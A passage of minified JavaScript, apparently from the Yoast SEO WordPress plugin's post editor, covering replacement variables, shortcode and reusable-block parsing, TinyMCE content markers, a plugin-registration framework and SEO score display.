(0,g.__)("Unlock with the %1$s","wordpress-seo"),"Woo Premium bundle")}*`,p.bundleNote=(0,c.createElement)("div",{className:"yst-text-xs yst-text-slate-500 yst-mt-2"},`*${e}`),p.upsellLink=s)}const h=(0,d.useSelect)((e=>e(he).selectImageLink("ai-generator-preview.png")),[]),m=(0,u.useMemo)((()=>({src:h,width:"432",height:"244"})),[h]),y=(0,d.useSelect)((e=>e(he).selectWistiaEmbedPermissionValue()),[]),f=(0,d.useSelect)((e=>e(he).selectWistiaEmbedPermissionStatus()),[]),{setWistiaEmbedPermission:w}=(0,d.useDispatch)(he),b=(0,u.useMemo)((()=>({value:y,status:f,set:w})),[y,f,w]);return(0,c.createElement)(k,{learnMoreLink:e,thumbnail:m,wistiaEmbedPermission:b,...p})},me=({fieldId:e})=>{const[t,,,s,n]=(0,m.useToggleState)(!1),r=(0,u.useCallback)((()=>{s()}),[s]),i=(0,u.useRef)(null);return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("button",{type:"button",id:`yst-replacevar__use-ai-button__${e}`,className:"yst-replacevar__use-ai-button-upsell",onClick:r},(0,g.__)("Use AI","wordpress-seo")),(0,c.createElement)(m.Modal,{className:"yst-introduction-modal",isOpen:t,onClose:n,initialFocus:i},(0,c.createElement)(m.Modal.Panel,{className:"yst-max-w-lg yst-p-0 yst-rounded-3xl"},(0,c.createElement)(ge,{onClose:n,focusElementRef:i}))))};me.propTypes={fieldId:f().string.isRequired};const ye="yoast-seo/editor";const fe=window.yoast.externals.redux,we=window.yoast.reduxJsToolkit,be="adminUrl",_e=(0,we.createSlice)({name:be,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),ke=(_e.getInitialState,{selectAdminUrl:e=>(0,l.get)(e,be,"")});ke.selectAdminLink=(0,we.createSelector)([ke.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}})),_e.actions,_e.reducer;const ve=window.wp.url,xe="linkParams",Ee=(0,we.createSlice)({name:xe,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),Se=(Ee.getInitialState,{selectLinkParam:(e,t,s={})=>(0,l.get)(e,`${xe}.${t}`,s),selectLinkParams:e=>(0,l.get)(e,xe,{})});Se.selectLink=(0,we.createSelector)([Se.selectLinkParams,(e,t)=>t,(e,t,s={})=>s],((e,t,s)=>(0,ve.addQueryArgs)(t,{...e,...s}))),Ee.actions,Ee.reducer;const Re=(0,we.createSlice)({name:"notifications",initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:s="default",title:n,description:r})=>({payload:{id:e||(0,we.nanoid)(),variant:t,size:s,title:n||"",description:r}})},removeNotification:(e,{payload:t})=>(0,l.omit)(e,t)}}),Ce=(Re.getInitialState,Re.actions,Re.reducer,"pluginUrl"),Pe=(0,we.createSlice)({name:Ce,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),Te=(Pe.getInitialState,{selectPluginUrl:e=>(0,l.get)(e,Ce,"")});Te.selectImageLink=(0,we.createSelector)([Te.selectPluginUrl,(e,t,s="images")=>s,(e,t)=>t],((e,t,s)=>[(0,l.trimEnd)(e,"/"),(0,l.trim)(t,"/"),(0,l.trimStart)(s,"/")].join("/"))),Pe.actions,Pe.reducer;const Ae=window.wp.apiFetch;var Oe=s.n(Ae);const Ie="wistiaEmbedPermission",Le=(0,we.createSlice)({name:Ie,initialState:{value:!1,status:"idle",error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${Ie}/request`,(e=>{e.status=le})),e.addCase(`${Ie}/success`,((e,{payload:t})=>{e.status="success",e.value=Boolean(t&&t.value)})),e.addCase(`${Ie}/error`,((e,{payload:t})=>{e.status="error",e.value=Boolean(t&&t.value),e.error={code:(0,l.get)(t,"error.code",500),message:(0,l.get)(t,"error.message","Unknown")}}))}}),Me=(Le.getInitialState,Le.actions,{[Ie]:async({payload:e})=>Oe()({path:"/yoast/v1/wistia_embed_permission",method:"POST",data:{value:Boolean(e)}})});function Ne({alertKey:e}){return new Promise((t=>wpseoApi.post("alerts/dismiss",{key:e},(()=>t()))))}function Be({query:e,postId:t}){return new Promise((s=>{wpseoApi.get("meta/search",{query:e,post_id:t},(e=>{s(e.meta)}))}))}Le.reducer;const De=Me[Ie];var Fe=s(2322),$e=s.n(Fe);function Ue(){return window.wpseoScriptData&&"1"===window.wpseoScriptData.isBlockEditor}const qe=window.yoast.analysis,je=window.wp.isShallowEqual,ze=window.wp.api;var Ye={source:"wpseoScriptData.analysis.plugins.replaceVars",scope:[],aliases:[]},Ve=function(e,t,s){this.placeholder=e,this.replacement=t,this.options=(0,l.defaults)(s,Ye)};Ve.prototype.getPlaceholder=function(e){return(e=e||!1)&&this.hasAlias()?this.placeholder+"|"+this.getAliases().join("|"):this.placeholder},Ve.prototype.setSource=function(e){this.options.source=e},Ve.prototype.hasScope=function(){return!(0,l.isEmpty)(this.options.scope)},Ve.prototype.addScope=function(e){this.hasScope()||(this.options.scope=[]),this.options.scope.push(e)},Ve.prototype.inScope=function(e){return!this.hasScope()||(0,l.indexOf)(this.options.scope,e)>-1},Ve.prototype.hasAlias=function(){return!(0,l.isEmpty)(this.options.aliases)},Ve.prototype.addAlias=function(e){this.hasAlias()||(this.options.aliases=[]),this.options.aliases.push(e)},Ve.prototype.getAliases=function(){return this.options.aliases};const Ke=Ve,{removeReplacementVariable:We,updateReplacementVariable:He,refreshSnippetEditor:Qe}=fe.actions;var Ze=["content","title","snippet_title","snippet_meta","primary_category","data_page_title","data_meta_desc","excerpt"],Ge={},Je={},Xe=function(e,t){this._app=e,this._app.registerPlugin("replaceVariablePlugin",{status:"ready"}),this._store=t,this.replaceVariables=this.replaceVariables.bind(this),this.registerReplacements(),this.registerModifications(),this.registerEvents(),this.subscribeToGutenberg()};Xe.prototype.registerReplacements=function(){this.addReplacement(new Ke("%%author_first_name%%","author_first_name")),this.addReplacement(new Ke("%%author_last_name%%","author_last_name")),this.addReplacement(new Ke("%%category%%","category")),this.addReplacement(new Ke("%%category_title%%","category_title")),this.addReplacement(new Ke("%%currentdate%%","currentdate")),this.addReplacement(new Ke("%%currentday%%","currentday")),this.addReplacement(new Ke("%%currentmonth%%","currentmonth")),this.addReplacement(new Ke("%%currenttime%%","currenttime")),this.addReplacement(new Ke("%%currentyear%%","currentyear")),this.addReplacement(new Ke("%%date%%","date")),this.addReplacement(new Ke("%%id%%","id")),this.addReplacement(new Ke("%%page%%","page")),this.addReplacement(new Ke("%%permalink%%","permalink")),this.addReplacement(new Ke("%%post_content%%","post_content")),this.addReplacement(new Ke("%%post_month%%","post_month")),this.addReplacement(new Ke("%%post_year%%","post_year")),this.addReplacement(new Ke("%%searchphrase%%","searchphrase")),this.addReplacement(new Ke("%%sitedesc%%","sitedesc")),this.addReplacement(new Ke("%%sitename%%","sitename")),this.addReplacement(new Ke("%%userid%%","userid")),this.addReplacement(new Ke("%%focuskw%%","keyword",{source:"app",aliases:["%%keyword%%"]})),this.addReplacement(new Ke("%%term_description%%","text",{source:"app",scope:["term","category","tag"],aliases:["%%tag_description%%","%%category_description%%"]})),this.addReplacement(new Ke("%%term_title%%","term_title",{scope:["term"]})),this.addReplacement(new Ke("%%term_hierarchy%%","term_hierarchy",{scope:["term"]})),this.addReplacement(new Ke("%%title%%","title",{source:"app",scope:["post","term","page"]})),this.addReplacement(new Ke("%%parent_title%%","title",{source:"app",scope:["page","category"]})),this.addReplacement(new Ke("%%excerpt%%","excerpt",{source:"app",scope:["post"],aliases:["%%excerpt_only%%"]})),this.addReplacement(new Ke("%%primary_category%%","primaryCategory",{source:"app",scope:["post"]})),this.addReplacement(new Ke("%%sep%%(\\s*%%sep%%)*","sep"))},Xe.prototype.registerEvents=function(){const e=wpseoScriptData.analysis.plugins.replaceVars.scope;"post"===e&&jQuery(".categorydiv").each(this.bindTaxonomyEvents.bind(this)),"post"!==e&&"page"!==e||jQuery("#postcustomstuff > #list-table").each(this.bindFieldEvents.bind(this))},Xe.prototype.subscribeToGutenberg=function(){if(!Ue())return;const e={0:""};let t=null;const s=wp.data;s.subscribe((()=>{const n=s.select("core/editor").getEditedPostAttribute("parent");if(void 0!==n&&t!==n)return t=n,n<1?(this._currentParentPageTitle="",void this.declareReloaded()):(0,l.isUndefined)(e[n])?void ze.loadPromise.done((()=>{new ze.models.Page({id:n}).fetch().then((t=>{this._currentParentPageTitle=t.title.rendered,e[n]=this._currentParentPageTitle,this.declareReloaded()})).fail((()=>{this._currentParentPageTitle="",this.declareReloaded()}))})):(this._currentParentPageTitle=e[n],void this.declareReloaded())}))},Xe.prototype.addReplacement=function(e){Ge[e.placeholder]=e},Xe.prototype.removeReplacement=function(e){delete Ge[e.getPlaceholder()]},Xe.prototype.registerModifications=function(){var e=this.replaceVariables.bind(this);(0,l.forEach)(Ze,function(t){this._app.registerModification(t,e,"replaceVariablePlugin",10)}.bind(this))},Xe.prototype.replaceVariables=function(e){return(0,l.isUndefined)(e)||(e=this.parentReplace(e),e=this.replaceCustomTaxonomy(e),e=this.replaceByStore(e),e=this.replacePlaceholders(e)),e},Xe.prototype.replaceByStore=function(e){const t=this._store.getState().snippetEditor.replacementVariables;return(0,l.forEach)(t,(t=>{""!==t.value&&(e=e.replace("%%"+t.name+"%%",t.value))})),e},Xe.prototype.getReplacementSource=function(e){return"app"===e.source?this._app.rawData:"direct"===e.source?"direct":wpseoScriptData.analysis.plugins.replaceVars.replace_vars},Xe.prototype.getReplacement=function(e){var t=this.getReplacementSource(e.options);return!1===e.inScope(wpseoScriptData.analysis.plugins.replaceVars.scope)?"":"direct"===t?e.replacement:t[e.replacement]||""},Xe.prototype.replacePlaceholders=function(e){return(0,l.forEach)(Ge,function(t){e=e.replace(new RegExp(t.getPlaceholder(!0),"g"),this.getReplacement(t))}.bind(this)),e},Xe.prototype.declareReloaded=function(){this._app.pluginReloaded("replaceVariablePlugin"),this._store.dispatch(Qe())},Xe.prototype.getCategoryName=function(e){var t=e.parent("label").clone();return t.children().remove(),t.text().trim()},Xe.prototype.parseTaxonomies=function(e,t){(0,l.isUndefined)(Je[t])&&(Je[t]={});const s=[];(0,l.forEach)(e,function(e){const n=(e=jQuery(e)).val(),r=this.getCategoryName(e),i=e.prop("checked");Je[t][n]={label:r,checked:i},i&&-1===s.indexOf(r)&&s.push(r)}.bind(this)),"category"!==t&&(t="ct_"+t),this._store.dispatch(He(t,s.join(", ")))},Xe.prototype.getAvailableTaxonomies=function(e){var t=jQuery(e).find("input[type=checkbox]"),s=jQuery(e).attr("id").replace("taxonomy-","");t.length>0&&this.parseTaxonomies(t,s),this.declareReloaded()},Xe.prototype.bindTaxonomyEvents=function(e,t){(t=jQuery(t)).on("wpListAddEnd",".categorychecklist",this.getAvailableTaxonomies.bind(this,t)),t.on("change","input[type=checkbox]",this.getAvailableTaxonomies.bind(this,t)),this.getAvailableTaxonomies(t)},Xe.prototype.replaceCustomTaxonomy=function(e){return(0,l.forEach)(Je,function(t,s){var n="%%ct_"+s+"%%";"category"===s&&(n="%%"+s+"%%"),e=e.replace(n,this.getTaxonomyReplaceVar(s))}.bind(this)),e},Xe.prototype.getTaxonomyReplaceVar=function(e){var t=[],s=Je[e];return!0===(0,l.isUndefined)(s)?"":((0,l.forEach)(s,(function(e){!1!==e.checked&&t.push(e.label)})),jQuery.uniqueSort(t).join(", "))},Xe.prototype.parseFields=function(e){jQuery(e).each(function(e,t){var s=jQuery("#"+t.id+"-key").val(),n=jQuery("#"+t.id+"-value").val();const r="cf_"+this.sanitizeCustomFieldNames(s),i=s+" (custom field)";this._store.dispatch(He(r,n,i)),this.addReplacement(new Ke(`%%${r}%%`,n,{source:"direct"}))}.bind(this))},Xe.prototype.removeFields=function(e){jQuery(e).each(function(e,t){var s=jQuery("#"+t.id+"-key").val();this.removeReplacement("%%cf_"+this.sanitizeCustomFieldNames(s)+"%%")}.bind(this))},Xe.prototype.sanitizeCustomFieldNames=function(e){return e.replace(/\s/g,"_")},Xe.prototype.getAvailableFields=function(e){this.removeCustomFields();var t=jQuery(e).find("#the-list > tr:visible[id]");t.length>0&&this.parseFields(t),this.declareReloaded()},Xe.prototype.bindFieldEvents=function(e,t){var s=(t=jQuery(t)).find("#the-list");s.on("wpListDelEnd.wpseoCustomFields",this.getAvailableFields.bind(this,t)),s.on("wpListAddEnd.wpseoCustomFields",this.getAvailableFields.bind(this,t)),s.on("input.wpseoCustomFields",".textarea",this.getAvailableFields.bind(this,t)),s.on("click.wpseoCustomFields",".button + .updatemeta",this.getAvailableFields.bind(this,t)),this.getAvailableFields(t)},Xe.prototype.removeCustomFields=function(){var e=(0,l.filter)(Ge,(function(e,t){return t.indexOf("%%cf_")>-1}));(0,l.forEach)(e,function(e){this._store.dispatch(We((0,l.trim)(e.placeholder,"%%"))),this.removeReplacement(e)}.bind(this))},Xe.prototype.parentReplace=function(e){const t=jQuery("#parent_id, #parent").eq(0);return this.hasParentTitle(t)&&(e=e.replace(/%%parent_title%%/,this.getParentTitleReplacement(t))),Ue()&&!(0,l.isUndefined)(this._currentParentPageTitle)&&(e=e.replace(/%%parent_title%%/,this._currentParentPageTitle)),e},Xe.prototype.hasParentTitle=function(e){return!(0,l.isUndefined)(e)&&!(0,l.isUndefined)(e.prop("options"))},Xe.prototype.getParentTitleReplacement=function(e){var t=e.find("option:selected").text();return t===(0,g.__)("(no parent)","wordpress-seo")?"":t},Xe.ReplaceVar=Ke;const et=Xe,tt=window.wp.blocks,st=class{constructor(e,t,s){this._registerPlugin=e,this._registerModification=t,this._refreshAnalysis=s,this._reusableBlocks={},this._selectCore=(0,d.select)("core"),this._selectCoreEditor=(0,d.select)("core/editor"),this.reusableBlockChangeListener=this.reusableBlockChangeListener.bind(this),this.parseReusableBlocks=this.parseReusableBlocks.bind(this)}register(){this._registerPlugin("YoastReusableBlocksPlugin",{status:"ready"}),this._registerModification("content",this.parseReusableBlocks,"YoastReusableBlocksPlugin",1),(0,d.subscribe)((0,l.debounce)(this.reusableBlockChangeListener,500))}reusableBlockChangeListener(){const{blocks:e}=this._selectCoreEditor.getPostEdits();if(!e)return;let t=!1;e.forEach((e=>{if(!(0,tt.isReusableBlock)(e))return;const s=this.getBlockContent(e.attributes.ref);this._reusableBlocks[e.attributes.ref]?this._reusableBlocks[e.attributes.ref].content!==s&&(this._reusableBlocks[e.attributes.ref].content=s,t=!0):(this._reusableBlocks[e.attributes.ref]={id:e.attributes.ref,clientId:e.clientId,content:s},t=!0)})),t&&this._refreshAnalysis()}parseReusableBlocks(e){const t=/<!-- wp:block {"ref":(\d+)} \/-->/g;return e.match(t)?e.replace(t,((t,s)=>this._reusableBlocks[s]&&this._reusableBlocks[s].content?this._reusableBlocks[s].content:e)):e}getBlockContent(e){const t=this._selectCore.getEditedEntityRecord("postType","wp_block",e);if(t){if((0,l.isFunction)(t.content))return t.content(t);if(t.blocks)return(0,tt.__unstableSerializeAndClean)(t.blocks);if(t.content)return t.content}return""}},nt="[^<>&/\\[\\]\0- =]+?",rt=new RegExp("\\["+nt+"( [^\\]]+?)?\\]","g"),it=new RegExp("\\[/"+nt+"\\]","g");class ot{constructor({registerPlugin:e,registerModification:t,pluginReady:s,pluginReloaded:n},r){this._registerModification=t,this._pluginReady=s,this._pluginReloaded=n,e("YoastShortcodePlugin",{status:"loading"}),this.bindElementEvents();const i="("+r.join("|")+")";this.shortcodesRegex=new RegExp(i,"g"),this.closingTagRegex=new RegExp("\\[\\/"+i+"\\]","g"),this.nonCaptureRegex=new RegExp("\\["+i+"[^\\]]*?\\]","g"),this.parsedShortcodes=[],this.loadShortcodes(this.declareReady.bind(this))}declareReady(){this._pluginReady("YoastShortcodePlugin"),this.registerModifications()}declareReloaded(){this._pluginReloaded("YoastShortcodePlugin")}registerModifications(){this._registerModification("content",this.replaceShortcodes.bind(this),"YoastShortcodePlugin")}removeUnknownShortCodes(e){return(e=e.replace(rt,"")).replace(it,"")}replaceShortcodes(e){return"string"==typeof e&&this.parsedShortcodes.forEach((({shortcode:t,output:s})=>{e=e.replace(t,s)})),e=this.removeUnknownShortCodes(e)}loadShortcodes(e){const t=this.getUnparsedShortcodes(this.getShortcodes(this.getContentTinyMCE()));if(!(t.length>0))return e();this.parseShortcodes(t,e)}bindElementEvents(){const e=document.querySelector(".wp-editor-area"),t=(0,l.debounce)(this.loadShortcodes.bind(this,this.declareReloaded.bind(this)),500);e&&(e.addEventListener("keyup",t),e.addEventListener("change",t)),"undefined"!=typeof tinyMCE&&"function"==typeof tinyMCE.on&&tinyMCE.on("addEditor",(function(e){e.editor.on("change",t),e.editor.on("keyup",t)}))}getContentTinyMCE(){let e=document.querySelector(".wp-editor-area")?document.querySelector(".wp-editor-area").value:"";return"undefined"!=typeof tinyMCE&&void 0!==tinyMCE.editors&&0!==tinyMCE.editors.length&&(e=tinyMCE.get("content")?tinyMCE.get("content").getContent():""),e}getUnparsedShortcodes(e){return"object"!=typeof e?(console.error("Failed to get unparsed shortcodes. Expected parameter to be an array, instead received "+typeof e),!1):e.filter((e=>this.isUnparsedShortcode(e)))}isUnparsedShortcode(e){return!this.parsedShortcodes.some((({shortcode:t})=>t===e))}getShortcodes(e){if("string"!=typeof e)return console.error("Failed to get shortcodes. Expected parameter to be a string, instead received"+typeof e),!1;const t=this.matchCapturingShortcodes(e);t.forEach((t=>{e=e.replace(t,"")}));const s=this.matchNonCapturingShortcodes(e);return t.concat(s)}matchCapturingShortcodes(e){const t=(e.match(this.closingTagRegex)||[]).join(" ").match(this.shortcodesRegex)||[];return(0,l.flatten)(t.map((t=>{const s="\\["+t+"[^\\]]*?\\].*?\\[\\/"+t+"\\]";return e.match(new RegExp(s,"g"))||[]})))}matchNonCapturingShortcodes(e){return e.match(this.nonCaptureRegex)||[]}parseShortcodes(e,t){return"function"!=typeof t?(console.error("Failed to parse shortcodes. Expected parameter to be a function, instead received "+typeof t),!1):"object"==typeof e&&e.length>0?void jQuery.post(ajaxurl,{action:"wpseo_filter_shortcodes",_wpnonce:wpseoScriptData.analysis.plugins.shortcodes.wpseo_filter_shortcodes_nonce,data:e},function(e){this.saveParsedShortcodes(e,t)}.bind(this)):t()}saveParsedShortcodes(e,t){const s=JSON.parse(e);this.parsedShortcodes.push(...s),t()}}const at=ot,{updateShortcodesForParsing:lt}=fe.actions;var ct=s(7084),pt=s.n(ct);const dt=class{constructor(e,t){this._registerPlugin=e,this._registerModification=t}register(){this._registerPlugin("YoastMarkdownPlugin",{status:"ready"}),this._registerModification("content",this.parseMarkdown.bind(this),"YoastMarkdownPlugin",1)}parseMarkdown(e){return pt()(e)}},ut="yoastmark";function ht(e,t){return e._properties.position.startOffset>t.length||e._properties.position.endOffset>t.length}function gt(e,t,s){const n=e.dom;let r=e.getContent();if(r=qe.markers.removeMarks(r),(0,l.isEmpty)(s))return void e.setContent(r);r=s[0].hasPosition()?function(e,t){if(!t)return"";for(let s=(e=(0,l.orderBy)(e,(e=>e._properties.position.startOffset),["asc"])).length-1;s>=0;s--){const n=e[s];ht(n,t)||(t=n.applyWithPosition(t))}return t}(s,r):function(e,t,s,n){const{fieldsToMark:r,selectedHTML:i}=qe.languageProcessing.getFieldsToMark(s,n);return(0,l.forEach)(s,(function(t){"acf_content"!==e.id&&(t._properties.marked=qe.languageProcessing.normalizeHTML(t._properties.marked),t._properties.original=qe.languageProcessing.normalizeHTML(t._properties.original)),r.length>0?i.forEach((e=>{const s=t.applyWithReplace(e);n=n.replace(e,s)})):n=t.applyWithReplace(n)})),n}(e,0,s,r),e.setContent(r),function(e){let t=e.getContent();t=t.replace(new RegExp("&lt;yoastmark.+?&gt;","g"),"").replace(new RegExp("&lt;/yoastmark&gt;","g"),""),e.setContent(t)}(e);const i=n.select(ut);(0,l.forEach)(i,(function(e){e.setAttribute("data-mce-bogus","1")}))}function mt(e){return window.test=e,gt.bind(null,e)}const yt="et_pb_main_editor_wrap",ft=class{static isActive(){return!!document.getElementById(yt)}static isTinyMCEHidden(){const e=document.getElementById(yt);return!!e&&e.classList.contains("et_pb_hidden")}listen(e){this.classicEditorContainer=document.getElementById(yt),this.classicEditorContainer&&new MutationObserver((t=>{(0,l.forEach)(t,(t=>{"attributes"===t.type&&"class"===t.attributeName&&(t.target.classList.contains("et_pb_hidden")?e.classicEditorHidden():e.classicEditorShown())}))})).observe(this.classicEditorContainer,{attributes:!0})}},wt=class{static isActive(){return!!window.VCV_I18N}},bt={classicEditorHidden:l.noop,classicEditorShown:l.noop,pageBuilderLoaded:l.noop},_t=class{constructor(){this.determineActivePageBuilders()}determineActivePageBuilders(){ft.isActive()&&(this.diviActive=!0),wt.isActive()&&(this.vcActive=!0)}isPageBuilderActive(){return this.diviActive||this.vcActive}listen(e){this.callbacks=(0,l.defaults)(e,bt),this.diviActive&&(new ft).listen(e)}isClassicEditorHidden(){return!(!this.diviActive||!ft.isTinyMCEHidden())}};let kt;const vt="content",xt="description";function Et(e){kt=e}function St(){return"undefined"!=typeof tinyMCE&&void 0!==tinyMCE.editors&&0!==tinyMCE.editors.length}function Rt(e){if(!St())return!1;const t=tinyMCE.get(e);return null!==t&&!t.isHidden()}function Ct(e){let t="";var s;return t=!1===Rt(e)||0==(s=e,null!==document.getElementById(s+"_ifr"))?function(e){return document.getElementById(e)&&document.getElementById(e).value||""}(e):tinyMCE.get(e).getContent(),t}function Pt(e,t,s){"undefined"!=typeof tinyMCE&&"function"==typeof tinyMCE.on&&tinyMCE.on("addEditor",(function(n){const r=n.editor;r.id===e&&(0,l.forEach)(t,(function(e){r.on(e,s)}))}))}function Tt(){(0,l.isUndefined)(kt)||kt.dispatch(fe.actions.setMarkerStatus("disabled"))}function At(){(0,l.isUndefined)(kt)||kt.dispatch(fe.actions.setMarkerStatus("enabled"))}function Ot(){(0,l.isUndefined)(kt)||kt.dispatch(fe.actions.setMarkerPauseStatus(!0))}function It(){(0,l.isUndefined)(kt)||kt.dispatch(fe.actions.setMarkerPauseStatus(!1))}function Lt(){const e=document.getElementById("wp-content-wrap");return!!e&&e.classList.contains("html-active")}function Mt(){Lt()&&(Tt(),St()&&tinyMCE.on("AddEditor",(function(){At()})))}function Nt(e,t){Pt(t,["input","change","cut","paste"],e),Pt(t,["hide"],Tt);const s=["show"];(new _t).isPageBuilderActive()||s.push("init"),Pt(t,s,At),Pt("content",["focus"],(function(e){const t=e.target;(function(e){return-1!==e.getContent({format:"raw"}).indexOf("<"+ut)})(t)&&(function(e){mt(e)(null,[])}(t),YoastSEO.app.disableMarkers()),Ot()})),Pt("content",["blur"],(function(){It()}))}class Bt{constructor(e){this.refresh=e,this.loaded=!1,this.preloadThreshold=3e3,this.plugins={},this.modifications={},this._registerPlugin=this._registerPlugin.bind(this),this._ready=this._ready.bind(this),this._reloaded=this._reloaded.bind(this),this._registerModification=this._registerModification.bind(this),this._registerAssessment=this._registerAssessment.bind(this),this._applyModifications=this._applyModifications.bind(this),setTimeout(this._pollLoadingPlugins.bind(this),1500)}_registerPlugin(e,t){return(0,l.isString)(e)?(0,l.isUndefined)(t)||(0,l.isObject)(t)?!1===this._validateUniqueness(e)?(console.error("Failed to register plugin. Plugin with name "+e+" already exists"),!1):(this.plugins[e]=t,!0):(console.error("Failed to register plugin "+e+". Expected parameters `options` to be a object."),!1):(console.error("Failed to register plugin. Expected parameter `pluginName` to be a string."),!1)}_ready(e){return(0,l.isString)(e)?(0,l.isUndefined)(this.plugins[e])?(console.error("Failed to modify status for plugin "+e+". The plugin was not properly registered."),!1):(this.plugins[e].status="ready",!0):(console.error("Failed to modify status for plugin "+e+". Expected parameter `pluginName` to be a string."),!1)}_reloaded(e){return(0,l.isString)(e)?(0,l.isUndefined)(this.plugins[e])?(console.error("Failed to reload Content Analysis for plugin "+e+". The plugin was not properly registered."),!1):(this.refresh(),!0):(console.error("Failed to reload Content Analysis for "+e+". Expected parameter `pluginName` to be a string."),!1)}_registerModification(e,t,s,n){if(!(0,l.isString)(e))return console.error("Failed to register modification for plugin "+s+". Expected parameter `modification` to be a string."),!1;if(!(0,l.isFunction)(t))return console.error("Failed to register modification for plugin "+s+". Expected parameter `callable` to be a function."),!1;if(!(0,l.isString)(s))return console.error("Failed to register modification for plugin "+s+". Expected parameter `pluginName` to be a string."),!1;if(!1===this._validateOrigin(s))return console.error("Failed to register modification for plugin "+s+". The integration has not finished loading yet."),!1;const r={callable:t,origin:s,priority:(0,l.isNumber)(n)?n:10};return(0,l.isUndefined)(this.modifications[e])&&(this.modifications[e]=[]),this.modifications[e].push(r),!0}_registerAssessment(e,t,s,n){return(0,l.isString)(t)?(0,l.isObject)(s)?(0,l.isString)(n)?(t=n+"-"+t,e.addAssessment(t,s),!0):(console.error("Failed to register assessment for plugin "+n+". Expected parameter `pluginName` to be a string."),!1):(console.error("Failed to register assessment for plugin "+n+". Expected parameter `assessment` to be a function."),!1):(console.error("Failed to register test for plugin "+n+". Expected parameter `name` to be a string."),!1)}_applyModifications(e,t,s){let n=this.modifications[e];return!(0,l.isArray)(n)||n.length<1||(n=this._stripIllegalModifications(n),n.sort(((e,t)=>e.priority-t.priority)),(0,l.forEach)(n,(function(n){const r=n.callable(t,s);typeof r==typeof t?t=r:console.error("Modification with name "+e+" performed by plugin with name "+n.origin+" was ignored because the data that was returned by it was of a different type than the data we had passed it.")}))),t}_pollLoadingPlugins(e){e=(0,l.isUndefined)(e)?0:e,!0===this._allReady()?(this.loaded=!0,this.refresh()):e>=this.preloadThreshold?(this._pollTimeExceeded(),this.loaded=!0,this.refresh()):(e+=50,setTimeout(this._pollLoadingPlugins.bind(this,e),50))}_allReady(){return(0,l.reduce)(this.plugins,(function(e,t){return e&&"ready"===t.status}),!0)}_pollTimeExceeded(){(0,l.forEach)(this.plugins,(function(e,t){(0,l.isUndefined)(e.options)||"ready"===e.options.status||(console.error("Error: Plugin "+t+". did not finish loading in time."),delete this.plugins[t])}))}_stripIllegalModifications(e){return(0,l.forEach)(e,((t,s)=>{!1===this._validateOrigin(t.origin)&&delete e[s]})),e}_validateOrigin(e){return"ready"===this.plugins[e].status}_validateUniqueness(e){return(0,l.isUndefined)(this.plugins[e])}}function Dt(e,t,s){e("morphology",new qe.Paper("",{keyword:s})).then((e=>{const s=e.result.keyphraseForms;t.dispatch(fe.actions.updateWordsToHighlight((0,l.uniq)((0,l.flatten)(s))))})).catch((()=>{t.dispatch(fe.actions.updateWordsToHighlight([]))}))}var Ft="score-text",$t="image yoast-logo svg",Ut=jQuery;function qt(e,t,s=null){var n,r,i,o,a;if(null!==s)return(0,l.get)(s,t,"");const c=(0,d.select)("yoast-seo/editor").getIsPremium(),p={na:(0,g.__)("Not available","wordpress-seo"),bad:(0,g.__)("Needs improvement","wordpress-seo"),ok:(0,g.__)("OK","wordpress-seo"),good:(0,g.__)("Good","wordpress-seo")},u={keyword:{label:c?(0,g.__)("Premium SEO analysis:","wordpress-seo"):(0,g.__)("SEO analysis:","wordpress-seo"),anchor:"yoast-seo-analysis-collapsible-metabox",status:p},content:{label:(0,g.__)("Readability analysis:","wordpress-seo"),anchor:"yoast-readability-analysis-collapsible-metabox",status:p},"inclusive-language":{label:(0,g.__)("Inclusive language:","wordpress-seo"),anchor:"yoast-inclusive-language-analysis-collapsible-metabox",status:{...p,ok:(0,g.__)("Potentially non-inclusive","wordpress-seo")}}};return null!=u&&null!==(n=u[e])&&void 0!==n&&null!==(r=n.status)&&void 0!==r&&r[t]?`<a href="#${null===(i=u[e])||void 0===i?void 0:i.anchor}">${null===(o=u[e])||void 0===o?void 0:o.label}</a> <strong>${null===(a=u[e])||void 0===a?void 0:a.status[t]}</strong>`:""}function jt(e,t,s=null){var n=Ut("#"+e+"-score"),r=$t+" "+t;n.children(".image").attr("class",r);var i=qt(e,t,s);n.children("."+Ft).html(i)}function zt(e,t,s=null){const n=Ut("<div />",{class:"misc-pub-section yoast yoast-seo-score "+e+"-score",id:e+"-score"}),r=Ut("<span />",{class:Ft,html:qt(e,t,s)}),i=Ut("<span>").attr("class",$t+" na");n.append(i).append(r),Ut("#yoast-seo-publishbox-section").append(n)}function Yt(e){const t=Ut("#wpadminbar"),s=Ut(e);if(!t||!s)return;const n="fixed"===t.css("position")?t.height():0;Ut([document.documentElement,document.body]).animate({scrollTop:s.offset().top-n},1e3),s.trigger("focus"),0===s.parent().siblings().length&&s.trigger("click")}function Vt(){var e="na";wpseoScriptData.metabox.keywordAnalysisActive&&zt("keyword",e),wpseoScriptData.metabox.contentAnalysisActive&&zt("content",e),wpseoScriptData.metabox.inclusiveLanguageAnalysisActive&&zt("inclusive-language",e),Ut("#content-score").on("click","[href='#yoast-readability-analysis-collapsible-metabox']",(function(e){e.preventDefault(),document.querySelector("#wpseo-meta-tab-readability").click(),Yt("#wpseo-meta-section-readability")})),Ut("#keyword-score").on("click","[href='#yoast-seo-analysis-collapsible-metabox']",(function(e){e.preventDefault(),document.querySelector("#wpseo-meta-tab-content").click(),Yt("#yoast-seo-analysis-collapsible-metabox")})),Ut("#inclusive-language-score").on("click","[href='#yoast-inclusive-language-analysis-collapsible-metabox']",(function(e){e.preventDefault(),document.querySelector("#wpseo-meta-tab-inclusive-language").click(),Yt("#wpseo-meta-section-inclusive-language")}))}function Kt(e){var t=jQuery(".yst-traffic-light"),s=t.closest(".wpseo-meta-section-link"),n=jQuery("#wpseo-traffic-light-desc"),r=e.className||"na";t.attr("class","yst-traffic-light "+r),s.attr("aria-describedby","wpseo-traffic-light-desc"),n.length>0?n.text(e.screenReaderText):s.closest("li").append("<span id='wpseo-traffic-light-desc' class='screen-reader-text'>"+e.screenReaderText+"</span>")}function 